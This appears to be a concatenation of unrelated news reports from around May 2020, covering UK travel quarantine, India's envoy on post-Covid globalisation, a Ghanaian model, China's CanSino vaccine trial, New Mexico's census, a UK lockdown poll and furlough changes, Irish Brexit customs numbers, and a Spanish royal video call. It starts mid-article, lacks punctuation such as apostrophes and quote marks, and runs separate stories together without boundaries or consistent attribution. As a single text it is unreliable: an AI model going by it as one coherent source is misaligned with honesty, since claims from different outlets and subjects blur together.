Grant Shapps proposal for certain nations to sign mutual quarantine-free deals with the UK was rebutted by Downing Street.

But The Independent understands that when quarantine comes up for review, just three weeks after its introduction, air-bridge arrangements may be used to justify lifting the 14-day obligation for arrivals from the most popular holiday destinations.

Ms Patels announcement will have the immediate effects of encouraging anyone who was planning to travel to the UK in the near future to do so by the end of May, and deterring British holidaymakers from going abroad.

The move comes just as travel businesses were aiming to restart operations. The timing will defeat Project Lift-off, and instead trigger the widespread cancellation of flights and holidays while stifling new bookings.

The travel industry believes that no significant fresh outbound sales will be made while the open-ended prospect remains of a fortnights mandatory self-isolation on return.

Business leaders have called for quarantine to last a matter of weeks rather than months, in the hope that something can be salvaged from the main holiday months of July and August.

Millions of holidaymakers with forward bookings for the summer will now demand to know from tour operators and airlines whether or not their trips are going ahead.

The two biggest holiday companies, Tui and Jet2, were planning to restart operations in mid-June. They are likely to cancel packages at least until July.

Anticipating the announcement, Tui is now offering holidaymakers booked to travel in June, July or August the opportunity to postpone their trips.

Quarantine will also wipe out inbound tourism and business travel for the early part of the summer.

British Airways planned to commence operations at scale in July, but has said that quarantine could kill off the plan.

Ryanair and easyJet are also aiming to launch a wide range of services in July. Michael OLeary, chief executive of Ryanair, has predicted the quarantine policy will be widely flouted.

People will simply ignore something which is so hopelessly defective, he said.
Observing that the coronavirus pandemic has shown the existing international system's limitations, India's envoy in the US has said that the world after Covid-19 needs a template of globalisation based on fairness, equality and humanity.

Economic growth and human welfare need to go hand in hand and there is a need to ensure equitable, affordable and timely access to health products and technologies for all, India's Ambassador to the US Taranjit Singh Sandhu said in a virtual interaction with Asia Group hosted by former US Ambassador to India Richard Verma on Monday.

"The current pandemic shows the limitations of the existing international system. In the post-Covid world, we need a template of globalisation based on fairness, equality and humanity," Sandhu said.

Indian Pharma companies are global leaders in producing affordable low cost medicines and vaccines, he said, adding that India is a reliable partner for providing affordable medicines to the US.

"Our long-standing and robust partnership with the US in the area of health and scientific research has further deepened during the time of pandemic," he said.

Similarly, India has been working with the US private sector in vaccine development. Serum Institute of India has collaborated with Codagenix Inc - a New York based clinical-stage Biotechnology Company - to rapidly co-develop a live-attenuated vaccine against the emergent coronavirus, Sandhu said.

Bharat Biotech, Hyderabad has collaborated with the University of Wisconsin Madison and the vaccine company FluGen to develop a vaccine against Covid-19 called CoroFlu, he said.

Sandhu said that the containment of the virus and economic recovery will require a strong international cooperation to complement the national policy efforts.

India is also working with its international partners, including its neighbours, to combat the pandemic. It has delivered medical supplies and assistance to over 123 partner countries, he said.

"We have taken the lead in the SAARC region through an Emergency Relief corpus with an initial seed fund of $10 million. Our Rapid Response Medical Teams have been deployed in the Maldives, Kuwait. Our health experts are sharing best practices through online training for our neighbours and are active in global efforts to develop remedies and vaccines," the Indian diplomat said.

Noting that much has changed in the last few weeks, Sandhu said that the world looks a completely different place as nation after nation has taken shelter at home to stop the relentless march of the invisible enemy.

Understandably, each country has erected its line of defence with the aim to minimise the loss of life.

"The global health crisis has brought in its wake an economic crisis of a scale that has not been seen in a long time.

"Grappling with these twin crises, governments today face an impossible choice between public health and economy. We will need a delicate balancing act. We need to revitalise our economies as well as enhance resilience, scalability and sustainability of our healthcare systems," he added.
When one sees models strut their stuff on the catwalk, one may get the impression that it is easy but Ghanaian model Victoria Michaels says it is not as simple as people see it.



A lot goes into modeling and that is what most people dont know. You have to practice in front of the camera for months and adequately prepare before an opportunity comes knocking at your door.



You always have to be in shape so that you are always hot on the market where you find yourself, she told Graphic Showbiz in an interview recently.



According to her, modeling goes beyond just hitting the runway in a designers outfit. There is more to it than just hitting the runway. For instance, you need to get the right platforms to mount so that you are always busy and this comes with a lot of hard work and connections, she said.



Asked whether modelling pays, Victoria, who has walked international runways, said it depended on ones branding.



There are two main ways that models get work in the industry. First of all, the model has an agent who is assigned to find them work and the second is the freelance where the models are solely in control of finding their own work.



The two can fetch you money if the model is serious but the one with an agent has the upper hand, she explained.



Victoria Michaels disclosed that she had been trying in her own way to help those who have modelling aspirations.



I counsel and hold extensive discussions with them on how they can find their place within and outside the fashion industry, whilst connecting them to my contacts. As a result, I have put some of them forward to agencies I think would love to work with them, she said.



Avance Media magazine recently named Victoria among the top 50 young CEOs in Ghana and she says she feels proud and honoured to be associated with the outfit.



Victoria has featured in major publications including Canoe Magazine, Roots Paris, Destiny Connect, True Love magazine, Bona Magazine, Canoe Magazine, Vogue Italia, OkayAfrica Magazine, Elle South Africa, O Yes! and Glam Africa Magazine.



She has modeled at the BBC Fashion Show, Dubai Fashion Show, African Fashion Week London, African Fashion International Johannesburg, Men's Health Fashion Week, South Africa Fashion Week, Accra Fashion Week, FIMA International Fashion Show, Mercedes Benz African Fashion Festival, and Dark & Lovely Fashion Show.

Source: Graphic Showbiz









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Source: Xinhua| 2020-05-23 02:08:43|Editor: huaxia

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by Xinhua writer Zhang Jiawei

LONDON, May 22 (Xinhua) -- China's COVID-19 vaccine trial, the first such vaccine to reach phase 1 clinical trial, has been found to be safe, well-tolerated, and able to generate an immune response against SARS-CoV-2 in humans, according to a study published online Friday by the medical journal The Lancet.

The open-label trial in 108 healthy adults demonstrates promising results after 28 days and the final results will be evaluated in six months, The Lancet said in a press statement.

Further trials are needed to tell whether the immune response it elicits effectively protects against SARS-CoV-2 infection, said the medical journal.

During the 73rd session of the World Health Assembly ealier this week, China pledged to make the country's COVID-19 vaccine a global public good when available.

"These results represent an important milestone. The trial demonstrates that a single dose of the new adenovirus type 5 vectored COVID-19 (Ad5-nCoV) vaccine produces virus-specific antibodies and T cells in 14 days, making it a potential candidate for further investigation," said Professor Wei Chen from the Beijing Institute of Biotechnology in Beijing, China, who is responsible for the study.

"However, these results should be interpreted cautiously. The challenges in the development of a COVID-19 vaccine are unprecedented, and the ability to trigger these immune responses does not necessarily indicate that the vaccine will protect humans from COVID-19. This result shows a promising vision for the development of COVID-19 vaccines, but we are still a long way from this vaccine being available to all," said Chen.

The authors note that the main limitations of the trial are its small sample size, relatively short duration, and lack of randomized control group, which limits the ability to pick up rarer adverse reactions to the vaccine or provide robust evidence for its ability to generate an immune reaction. Further research will be needed before this trial vaccine becomes available to all.

A randomized, double-blinded, placebo-controlled phase 2 trial of the Ad5-nCoV vaccine has been initiated in the central Chinese city of Wuhan to determine whether the results can be replicated, and if there are any adverse events up to six months after vaccination, in 500 healthy adults-250 volunteers given a middle dose, 125 given a low dose, and 125 given a placebo as a control, according to The Lancet.

For the first time, this will include participants over 60 years old, an important target population for the vaccine.

The creation of an effective vaccine is seen as the long-term solution to controlling the COVID-19 pandemic. Currently, there are more than 100 candidate COVID-19 vaccines in development worldwide, according to The Lancet.

"The likelihood of developing a vaccine against SARS-CoV-2 that has some measurable effectiveness and does not have unacceptable side-effects is pretty high although not certain. After all, we have vaccines against most of the infectious diseases where a serious effort has been made to develop them -- most but not all," said Adam Finn, professor of paediatrics at the University of Bristol.

Aside from the vaccine efforts in China, researchers in Britain and the United States are also pushing forward similar trials.

In April, researchers at the University of Oxford have begun vaccine trials on humans. More than 1,000 immunizations for phase 1 trial in healthy adult volunteers have been completed and follow-up is currently ongoing, according to Oxford.

The phase 2 part of the study involves expanding the age range of people the vaccine is assessed in, to include a small number of older adults and children, while phase 3 will see researchers assess how the vaccine works in a large number of people over the age of 18.

"The best-case scenario is that by the autumn of 2020 we have the results about the effectiveness of the vaccine from a phase 3 trial and the ability to manufacture large amounts of the vaccine," professor Sarah Gilbert from the University of Oxford told Xinhua through email in a previous interview.

"But these best-case timeframes are highly ambitious and subject to change," said professor Gilbert, who is one of the scientists leading the COVID-19 vaccine development program at Oxford.

The vaccine used in the Oxford trials is called ChAdOx1 nCoV-19. It is made from a virus (ChAdOx1), which is a weakened version of a common cold virus (adenovirus) that causes infections in chimpanzees, that has been genetically changed so that it is impossible for it to grow in humans.

"The clinical studies are progressing very well and we are now initiating studies to evaluate how well the vaccine induces immune responses in older adults, and to test whether it can provide protection in the wider population," Professor Andrew Pollard, head of the Oxford Vaccine Group, said in a statement released Friday by Oxford.

But experts are still cautious when it comes to the development of a viable vaccine.

"What is more difficult to predict is how long it will take to get there and how well the vaccine(s) will work to prevent serious illness and/or prevent infectiousness and how long any such beneficial effects would last after vaccine administration," said Finn. Enditem
A coronavirus vaccine trialled in 108 healthy volunteers in China safely triggered an immune response in the participants, a new study reveals.

Antibody production seen in the patients is a good sign that the vaccine may protect them from infection, but it's too soon to say for sure.

The Chinese vaccine, made by CanSino, was the very first shot to enter clinical trials earlier this year - months ahead of human testing for the UK's lead candidate jab - made by Oxford University - or the American top-contender, made by biotech Moderna.

Most of the people dosed with the vaccine had immune responses, although their levels of antibodies thought to neutralize the virus were relatively low. Researchers saw a stronger ramp-up of other immune compounds, called T-cells, that might also help fight the infection off.

There were side effects - primarily pain, muscle aches and fever - but they subsided within 28 days, and no serious or dangerous side effects were reported.

Promising results from the completed first human trial China's Ad5 coronavirus vaccine place it at the front of the global race for a shot, though only by a slim margin, an expert told DailyMail.com.

It's not yet clear whether the shot - if it proves effective - will be available in the US, and the Department of Health and Human Services had not responded to request for comment at the time of publication.

Chinese researchers have become the first to complete a human trial for a coronavirus vaccine, which was safe and triggered an immune response in participants, but a US expert worries the shot didn't produce enough 'neutralizing' antibodies to block infection (file)

The study, conducted by collaborating universities and local CDC's in China, recruited 108 patients ranging in age from 18 to 60, and split them into three groups the received, respectively, low, middle and high doses of the vaccine

At the study's start, none of the patients - who had never been infected with coronavirus - had neutralizing antibodies against SARS-CoV-2, the virus that causes COVID-19.

Within two weeks, participants in all three dosage groups had 'rapid binding antibody responses,' meaning they showed signs that they were making antibodies capable of fighting coronavirus infection.

Levels of neutralizing antibodies - a type of immune cell that binds to a virus and may be able to completely block infection - were closely monitored too.

By the second week after vaccination, everyone had moderate increase in these important immune cells.

Participants blood levels of neutralizing antibodies reached their peak by the 28th day after they were injected.

Levels of these antibodies were more than twice as high among the participants who got the high dose shot, compared to those given the low dose.

While any increase in neutralizing antibodies was a significant gain over the subjects' starting levels (zero), Dr Peter Hotez, a vaccine expert at Baylor College of Medicine in Texas, was unimpressed with the levels produced in the trial participants.

'The one thing not we're not seeing is a really high neutralizing antibody titer,' he told DailyMail.com.

'The question is whether were going to need that and whether these vaccines will be adequate to stimulate an immune response.'

Patients in the trial did have more robust increases in their levels of T cells, immune cells that perform a search and destroy function, rather than the blocking work done by neutralizing antibodies.

More studies will be needed to determine whether the vaccine can protect against infection in practice.

Encouragingly, none of the 108 patients had serious side effects.

More than 80 percent did have some side effects, but these were mostly mild or moderate, like muscle aches, fever and pain. Most subsided within a couple of weeks, and almost all resolved by the end of the study.

Five patients given the high dose had high-grade fevers, but these, too, broke and came down within a couple of days.

Moderna is working closely with the NIH to develop its vaccine, and is leading the US race

The US government has placed an order for 300 million doses of AstraZeneca's shot, developed with Oxford University

'That's pretty good,' Dr Hotez says.

Side effect profiles may be particularly important to getting people to get vaccinated against coronavirus once one is available.

A Reuters poll published Thursday found that a quarter of Americans were not very or not at all interested in getting a vaccine for the virus that has infected more than 1.6 million people in the US.

Many of them said they were concerned the vaccine would be riskier than the disease itself because development is moving so fast.

So far, the US government is supporting the development of 14 candidate vaccinations through its Operation Speed initiative.

It's unclear if the US is coordinating with the Chinese vaccine developers.

In the US and UK, vaccines from Moderna and Oxford University (collaborating with AstaZeneca) are in human trials, and have shown promising early results.

China's completed trial puts it ahead - but not by much, says Dr Hotez. He says that all of the vaccines will need to go through large, Phase III trials before they become available, bringing their timelines close together.
New Mexico faces many hurdles this ten-year cycle when it comes to completing the 2020 Census. On an average decade, 20 percent of its residents arent counted due to the rural layout of the state. The coronavirus pandemic doubles the difficulties facing the state. New Mexico and Alaska have the most undercounted communities in the United States due to their small population which is spread out over a huge land mass. Response rates are little to none in more remote areas. The consequences of this decades count are immense if these communities arent reached. Each decade the census forms the path for New Mexicos political representation and determines allocation of public funding. It also sets the state Electoral College votes and maps local, state, and federal legislative district lines.

The Census, mandated by the Constitution, counts all people living in the United States every ten years. The coronavirus has paused all hand-delivered census forms, which in the past, has been the primary way to reach out and include rural areas. According to Associated Press, in Los Alamos, Bernalillo and Chaves counties hand-delivery isnt a major problem. In those counties the 45 percent response rates are at or above the national response.

Rural area response rates, particularly in minority neighborhoods and other hard-to-count communities, are difficult to raise without direct contact with each participant. In New Mexico these include Catron, Mora and Rio Arriba counties, where participation is in the single digits. Southern Valencia and northern Socorro counties are reportedly the hardest to count and most grossly under-counted sections in the entire U.S. Reaching these rural communities is a huge hurdle for counting teams.

There are cultural barriers in some Native American communities that must be addressed in any state census count. Native tribes are the most undercounted group on the U.S. census. There are many reasons for this disparity. Some of the reasons stem from the federal governments relationship and treatment of Native communities. According to an audit done by the U.S. Census Bureau, less than one percent of the households on the Navajo Nation responded to the 2010 Census.

Our state receives more than $7.8 billion dollars per year from the federal government. Each New Mexican not counted represents a loss of $3745.00 per person every year for the next ten years in funding for the state. This translates into a loss in state funding of approximately $37,500 each decade for every person not counted. The overall count will also determine how many representatives New Mexico has in Congress and maximizes statewide participation in the redistricting process. The census count sets boundaries for voting and school districts and the assignment of billions of dollars in funding for many federal and state programs, including health (i.e. Medicaid), transportation, housing and more. This is how we build schools, create a healthcare system, said Governor Michelle Lujan Grisham. This is how we make sure that we get the infrastructure to keep our roads maintained and safe.

The HEROES ACT, passed by the House on May 15, would include $400 million in additional appropriations to deal with the impact of the pandemic on the Census. The bill also would require monthly operational updates and gives the Census Bureau a 120-day deadline extension to finish the household count. Democrats allege past counts missed millions of household members, including minorities, immigrants, renters, the elderly and young children. The bill now faces an uphill battle in the Senate.

The U.S. Census Bureau, in coordination with federal, state and local health officials, started a phased re-start of 2020 Census field operations this week in New Mexico. The Census must be completed by October 31. Dropping off of Census packets is contactless and follows the federal health and safety guidelines. Census field staff have been trained to observe all social distancing protocols, and will wear government-provided personal protective equipment for their safety and the safety of the public. The hand-delivered census packets will include the census questionnaire, as well as online instructions and an ID for online response. Forms can be filled out online at my2020census.gov, through the mail, or by phone (1-844-330-2020 for English; 1-844-468-2020 for Spanish).
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Britons do not want to go back into work because they fear the lockdown is being eased too quickly  and they enjoy being at home, a poll revealed last night.

The survey was a setback for Boris Johnson, illustrating the uphill task he faces to bring the nations moribund economy back to life quickly.

It showed that on average people have more money in their pockets than when the lockdown started  with public-sector workers gaining the most.

Millions of voters are putting their feet up at home  and an astonishing four in ten have put on weight, particularly worrying following clear evidence of a link between obesity and coronavirus.

The Daily Mail survey by JL Partners highlights the heroic status gained by doctors, nurses and other NHS staff on the front line, with almost 100 per cent approval.

But there is a big difference between the effect of the lockdown on people with jobs in the private sector compared with the 5.5million in the public sector.

A total of 38 per cent who work in the private sector, where tens of thousands of have lost their jobs or had wages cut, are worse off, according to the poll. Just 29 per cent are better off.

The Daily Mail survey by JL Partners highlights the heroic status gained by doctors, nurses and other NHS staff on the front line, with almost 100 per cent approval

2m rule may be relaxed The two-metre rule could be reduced in the near future, officials revealed yesterday. Public Health England said the advice to stand 6ft 6in from others was under frequent review. The rule is among the strictest in the world, with most countries insisting on 1.5m or less. Managers of pubs and restaurants say two metres makes many businesses unviable. Professor Yvonne Doyle, of PHE, said: We are aware of the international differences and I am sure this will be the subject of continued investigation as to whether that can be reduced further. From June 1, anyone informed they might be a virus carrier will have to isolate for 14 days under the test and trace scheme. Advertisement

By contrast, 46 per cent of public sector workers are better off, 30 per cent say it has made no difference and only 23 per cent, fewer than one in four, are worse off.

It means a total of 76 per cent  more than three quarters  of those in the public sector are either no worse off or are better off.

Overall, the public say they are better off by 4 per cent. The survey will ring alarm bells in Downing St where there were already fears that many people were reluctant to go back to work to rescue the economy  a view reinforced by crowded beaches and parks in last weeks sunny weather.

People are well aware how badly the economy has been hit. Four in ten say it will take at least three years to recover.

But the survey also confirms they enjoy being off work  marriages have improved, and there is more support for re-opening pubs and restaurants than getting children back in classrooms from June.

The poll will also fuel concerns among Tory MPs that Chancellor Rishi Sunaks multi-billion-pound pandemic rescue package  including paying furloughs of up to 80 per cent to laid-off workers until October  may be too generous.

It has made Mr Sunak, dubbed Mr Magic Money Tree by critics, by far the most popular politician in Britain. He even gets an unprecedented 13 per cent rating from Labour voters, a big proportion of whom work in the public sector.

In other developments:

It emerged London could lead the way out of lockdown, with talks next week on letting cafes and restaurants open for outdoor service;

An exclusive Mail poll suggested employees do not want to go back into work because they fear the lockdown is being eased too quickly;

Health officials suggested that the two-metre rule could be eased;

A row broke out over the official advice from Government scientists about the reopening of schools;

The countrys top obesity and diabetes doctor said families were likely to have piled on weight in the lockdown;

Official figures showed government borrowing hit 62billion last month  almost as much as the figure for the whole of last year;

Scientists hit out at the official response to the pandemic, suggesting the lockdown delay may have cost lives;

Council bosses and police forces began taking drastic measures to keep holidaymakers away from beauty spots over the bank holiday;

The leader of the NHS suggested it could fill thousands of vacancies by retraining staff from troubled industries such as airlines;

The testing tsar said thousands of kits posted to homes have not been returned.

This picture of a large gathering of young people soaking up the sun near Darwen on the hottest day of the year on was taken on Wednesday afternoon, in 80F temperatures

Pictured: People enjoy the hot weather in River Lea in east London, as people flock to parks and beaches with lockdown measures eased, May 22

A total of 35 per cent of OAPs say they have more money, 53 per cent say it has made no difference, and only 12 per cent are worse off.

Forty-three per cent of all voters say they have enjoyed being at home more, with just 25 per cent not enjoying it.

A total of 53 per cent overall say the lockdown is already being eased too fast, while 11 per cent insist it is too slow.

However, Tory voters are keener to get back to normal  45 per cent of Conservatives say the pace of easing the lockdown is about right, a further 10 per cent say it is too slow.

Few Britons believe the economy will bounce back quickly. Only 6 per cent say it will revive in twelve months  41 per cent say it will take at least three years.

Education Secretary Gavin Williamson still has his work cut out to persuade parents that schools should start to re-open in June.

Only 26 per cent of primary school parents say they will send their children school in early June  60 per cent say they will refuse.

A total of 55 per cent back the bid by teaching unions to stop schools returning at the start of June, while 27 per cent say the unions do not have the right to so this. Conservative voters also take a tougher stance on the unions, with 48 per cent of Tories saying they should not be allowed to veto the return to school.

Asked what should be re-opened soon, cafes, pubs and shops are put ahead of schools.

The survey also reveals how the lockdown has affected family life.

Twenty-two per cent say they are getting on better with their spouses, while 9 per cent say relations have got worse. However, 17 per cent reveal their love life has deteriorated, with only 13 per cent saying it has improved. Twenty-one per cent of parents say their relationship with their children has improved, and 6 per cent reveal it has become worse.

Clearly not everyone is working out with Joe Wicks, with 41 per cent getting fatter. Only 16 per cent are slimmer. The weight gain is most marked among women.

The survey indicates as many as half of us may have flouted lockdown rules. A total of 43 per cent said they had not broken any of the rules. The Government gets credit from 63 per cent of voters for preventing the NHS from being overwhelmed.

But 66 per cent say elderly care home residents were not protected. Despite the criticism, Sir Keirs attacks on the Prime Minister over the crisis have won him few fans. A total of 42 per cent say Mr Johnson is doing a better job, while 27 per cent say Starmer is winning.

Mr Sunak gets 37 per cent in a Cabinet popularity test, with Foreign Secretary Dominic Raab second on 8 per cent, followed by Mr Johnson on plus 5 per cent.

Even Labour voters give dishy Rishi a rating of 13 per cent.

JL Partners interviewed 2,053 people in Britain online between Wednesday and yesterday.

The survey was a setback for Boris Johnson , illustrating the uphill task he faces to bring the nations moribund economy back to life quickly

Pictured: Beach-goers use a shelter on the promenade in Littlestone, Kent ahead of the bank holiday weekend that is set to be as warm as 26C in some areas of the country

London could come out of lockdown first with cafes and restaurants set to open to outdoor service under plans discussed by ministers By Jason Groves, Political Editor for the Daily Mail London could lead the country out of the coronavirus lockdown, with talks next week over allowing the capitals cafes and restaurants to open for outdoor service. Ministers launched a new Transition Board for the capital yesterday to coordinate efforts to lift restrictions. The body is the first of its kind in the country. And Downing Street confirmed London could move out of lockdown first. Ministers launched a new Transition Board for the capital yesterday to coordinate efforts to lift restrictions. A worker is pictured disinfecting a tube train in the capital Asked whether the capital could see measures eased before the rest of the country, the Prime Ministers official spokesman said: As we are able to gather more data and have better surveillance of a rate of infection in different parts of the country, then we will be able to potentially lift measures quicker in some parts of the country than in others. And equally we will be able to put the brakes on in some parts of the country. A Whitehall source said talks would be held next week to discuss the potential relaxation of regulations on outdoor hospitality. They added that, with evidence showing the virus spreads much less well outdoors, ministers were hoping to encourage a European-style cafe culture in London and other cities. London was the epicentre of the epidemic in March and April, but cases have been falling rapidly. During one 24-hour period this week, the capital recorded no new cases. Estimates produced by Cambridge University and Public Health England suggest that the so-called R rate, which measures how fast the virus is spreading, is roughly half that in the rest of the country. A national estimate for the R rate yesterday put it at between 0.7 and the critical figure of one, where a further easing of restrictions would be rejected by scientists. But the figure is said to be lower in the wider community outside of hospitals and care homes, with a Whitehall source telling the Mail it is estimated at 0.5. London Mayor Sadiq Khan has said he is very cautious about easing restrictions in the capital. But under yesterdays plans for a London Transition Board, the mayor will lose his veto over action in the capital. The new body will be co-chaired by Mr Khan and the Communities Secretary Robert Jenrick, giving the Government a direct role in getting London moving again. In a joint statement yesterday, the two men said the programme of work needed to get the capital up and running again would be the largest since the end of the Second World War. The new body will focus on a series of key issues, including infection control, recovery of key public services such as transport and plans varying the level of restrictions. Mr Jenrick last night talked up the prospect of getting London moving, saying: Through this new Transition Board, we will carefully build on the extensive planning already under way to get life and business in London  the most dynamic capital city in the world  safely back on track. Mr Khan was more cautious, saying: The economic, health and social challenges arising from both the virus itself and from the lockdown are far-reaching, and Londons recovery will be a long and complex road that will take many months, if not years. Documents released by the Governments Scientific Advisory Group on Emergencies show ministers considered putting London into lockdown first in March before deciding on a national approach. But the Governments road map on easing the lockdown leaves the door open to lifting restrictions in some areas before others. Advertisement

Employers will have to pay a quarter of the wages of furloughed staff from August as Rishi Sunak winds down 80bn scheme amid easing of lockdown

By Jemma Carr for MailOnline

Employers will have to pay 25 per cent of their furloughed staff's wages from August under plans set to be announced by Chancellor Rishi Sunak.

Mr Sunak last week extended the government's coronavirus furlough scheme - in which the government covers 80 per cent of wages of workers' wages up to a ceiling of 2,500 a month - but said firms must cover a proportion of wages.

Under the plans, expected to be announced next week, all firms on the scheme will be told to fork out a quarter of their staff's wages even if they remain closed, The Times reports.

Employers will have to pay 25 per cent of their furloughed staff's wages from August under plans set to be announced by Chancellor Rishi Sunak

Firms will also be permitted to bring furloughed workers back as part time staff with the amount of hours per week chosen by the employee.

While the government will keep paying pension contributions, firms will need to pay national insurance.

What is happening to the furlough scheme? The multi-billion pound furlough scheme is being extended to October. Employees on the scheme will continue to receive 80 per cent of wages, up to a ceiling of 2,500 a month. Until the end of July, there will be no changes to the scheme whatsoever. From August to October there will be 'greater flexibility' so furloughed employees can return to work part-time. Businesses will be expected to share the costs of paying their salaries from this point - meaning some that remain largely shut will have to choose whether to make people redundant. Further details of the arrangements will be announced by the end of the month. Advertisement

The total cost of the furlough scheme could hit 80 billion - the Office for Budget Responsibility has warned - and more than eight million people have been furloughed.

Bosses have already warned there will inevitably be mass job losses when employers are asked to start sharing the cost of the furlough scheme.

Industry experts also claim Chancellor Rishi Sunak's extension to the Job Retention Scheme (JRS) - where the Treasury bankrolls 80 per cent of wages - is merely delaying redundancies.

Mr Sunak's announcement that the scheme would be prolonged until October but that firms would 'start sharing' the financial burden with the Exchequer set alarm bells ringing throughout UK Plc, which demanded assurances for companies in 'dire straits' unable to foot even a fraction of their furloughed staff's wages.

Small businesses completely starved of any income since the crisis are particularly nervous about how they will afford to pay.

Jay Lee, director of online learning company uAcademy, which employs 14 furloughed people, initially hailed the JRS as a 'godsend'.

But he told MailOnline: 'The recent announcement of the government sharing the cost of the furlough scheme would be a big blow to us as we won't be able to cover part of the wages, this is simply because the business has no revenue and it's essentially closed.'

Executives facing grim balance sheets will be confronted with tough choices when the changes to the JRS kick in in a few months time.

Ian Girling, chief executive of the Dorset Chamber of Commerce, anticipates firms 'will need to look closely at staff costs in what will no doubt be a challenging climate'.

The retail sector, which has seen sales nosedive as shops remain shuttered, will 'inevitably' have fewer store staff going forward, it is feared (Oxford Street in London pictured)

He added: 'Many businesses will need to restructure as they look to the future and inevitably and regrettably we will see redundancies.'

Representatives from the sectors hardest hit by the lockdown have voiced concern that the Chancellor's multi-billion-pound bailout will not go far enough.

The retail sector, which has seen sales nosedive after shops shuttered, will 'inevitably' have fewer store staff going forward, it is feared.

Richard Lim, chief executive of Retail Economics, told MailOnline: 'There's no two ways about this there will be fewer jobs in retail as we emerge out of this crisis.

'There will be administrations that are yet to happen. The government's support measures are providing a lifeline to keep businesses afloat and preserve cash and continue to operate and allow them the working capital to do that.

He added: 'For some businesses, they will have some staff on furlough who they will realise that are unlikely to be coming back to the same roles as before, if they have those roles at all.'

Mr Lim added that retailers would likely shift more weight behind online selling and would 'absolutely try' to retain store staff if possible, but this could mean fewer hours or job sharing.

The picture in the travel sector looks equally as bleak, with summer holidays abroad all but cancelled for Britons.

Airlines have been forced to furlough thousands of staff as countries around the world enforce flight freezes to stem the spread of the virus.

IAG, the parent company of British Airways, said the Chancellor's extension to the furlough funding will not plug the enormous loss of revenue in the long-term.

It said in a statement to MailOnline: 'We welcome the Chancellor's decision to extend the Job Retention Scheme and, as Willie Walsh said at the Transport Select Committee yesterday, we applaud his swift action in dealing with this crisis.

'However, while this brings some welcome relief, it's not a permanent financial solution.

'It merely buys us a few extra days to address the restructuring that our business requires to survive this unprecedented crisis.'

The immediate future of hospitality businesses also remains uncertain, with warnings that pubs and restaurants could remain closed for many months.

It is feared bosses with no revenue stream and lofty overheads will not be able to pay half their furloughed employees' wages.

Patrick Langmaid, who owns the Mother Ivey's Bay holiday park in Padstow, forecast making tough job cuts.

'We are very worried about how we, as employers, are going to make contributions through August, September and October,' he told the BBC.

'I've already started briefing my team that there will have to be redundancies.'

Kate Nicholls, chief executive of UKHospitality, which represents the industry, welcomed the scheme's extension, but warned: 'The full 80 per cent may need to be extended past July for some businesses in sectors like hospitality that will still operate at much reduced levels of trade, or not yet be able to open.'

The Chancellor has also been warned that extending the scheme, and draining the public purse, will actually increase the likelihood of redundancies in the long-haul.

Professor Len Shackleton of the Institute of Economic Affairs said: 'The longer businesses are dependent on the furlough scheme, and unable to begin reorganising staff and adjusting their business models, the less likely it is that people will have jobs to return to once the lockdown ends.

'It will also delay individuals' plans to seek other jobs where this is clearly going to be necessary.'

But he suggested that company executives are under pressure to keep staff on furlough, rather than making them redundant now, because of the backlash if they were to turn turn down the government's funding.

He told MailOnline: 'They would certainly be criticised by employees and unions for making staff redundant and forcing them on to Universal Credit, when the government is offering more money on the Job Retention Scheme.'

The Institute of Directors said: 'We now need further clarity around employers' contributions. Many firms that would normally be on strong footing are still in dire straits.'

Edwin Morgan, Director of Policy, added: 'Firms don't want to be as reliant on government support as they are at the moment, but the response to coronavirus has shut down much of the economy.

'It's important the Government designs changes to support programmes with care, because winding them down will inevitably force companies to make difficult choices around whether they can keep staff on if demand hasn't returned.'
Around 57,000 firms still do not have a Revenue-issued company number needed to do business in Britain after Brexit.Finance Minister, Paschal Donohoe, said that of 96,000 businesses that traded with Britain in 2019, some 57,000 do not currently have an EORI number.

An Economic Operators Registration and Identification (EORI) number is described as essential if business is to continue trading in Britain post-Brexit, and must be registered with Revenue.

Of the larger businesses with annual UK import or export trade in excess of 50,000, and therefore with a potential significant supply chain exposure to trade with Britain, the number without an EORI number is approximately 3,000, Minister Donohoe said.

The pandemic and its negative effects on businesses is "unfortunately significantly impeding their ability to carry out many operational tasks," he said.

There are currently 65,946 businesses registered for a Customs EORI number, the Department of Finance said.

Revenue said that 92.7% of imports from Britain in 2019 and 95.8% of the value of exports to Britain in 2019 was carried out by businesses which now have an EORI number.

Minister Donohoe was responding to a parliamentary question from Fianna Fail TD, Sean Haughey, who said it is imperative that firms "do not lose sight of Brexit and that preparations continue apace" for the event.

Businesses and SMEs have been focusing all of their time, energies and resources on trying to address the challenges arising from the Covid-19 Pandemic.

"However, Brexit is still a very real threat and I am concerned that thousands of businesses are ill-prepared for the UK exiting the transition period in seven months time," he said.

Deputy Haughey added: Whilst I understand that some businesses may have reoriented their supply chains which may negate the need for an EORI number, these figures are nevertheless concerning and underscore that work still needs to be done to ensure that our businesses and SMEs are prepared in as much as feasibly possible for Brexit."

Mr Haughey said applying for an EORI number is a "simple and free online process": "I would urge all businesses that have or are planning to trade with the UK to apply for one as soon as possible. Ireland is potentially facing a hard Brexit in approximately seven months time and a concerted effort is required to ensure our businesses and SMEs are prepared in as much as feasibly possible for what lies ahead."
Queen Letizia and King Felipe VI of Spain appeared business-like as they discussed concerns for the commerce sector in a video conference call today from their home in Madrid.

Mother-of-two Letizia, 47, looked polished in a long-sleeve grey top, alongside King Felipe VI, 52, who donned a sleek suit for the discussions from La Zarzuela Palace.

The royal couple spoke to members of the Spanish Trade Confederation about the impact the pandemic has had on the industry and the importance of supporting small businesses.

It comes just over a month after the couple left their home for the first time since they began isolating there with their two daughters in March.

King Felipe, 52, and Queen Letizia, 47, appeared business-like as they spoke to members of the Spanish Trade Confederation in a video conference call at La Zarzuela Palace

Queen Letiza opted for a business-as-usual appearance, styling her glossy brunette hair with a neat side-parting.

The mother-of-two tied her look together by wearing minimal makeup and simple, chic silver accessories.

Meanwhile King Felipe was equally well-groomed in a navy suit jacket, coordinated with blue trousers and a white shirt.

Similar to other European royals, Letizia and Felipe have adapted to carrying out engagements remotely as their country deals with the coronavirus pandemic.

The couple joined CEC in a virtual meeting to discuss the impact of coronavirus on the country's trade

Participating in the conference call via video allowed the royals and the representatives to maintain strict social distancing.

The couple spoke candidly about the consequence that the Covid-19 pandemic could have on trade at present and in the future.

Pedro Campo, president of the CEC, and Gerardo Cuerva, president of CEPYME, who were also involved in the call, highlighted the importance of the trade industry for the Spanish economy.

Meanwhile the couple expressed their gratitude for the sector and attempted to also show encouragement to businesses across the country.

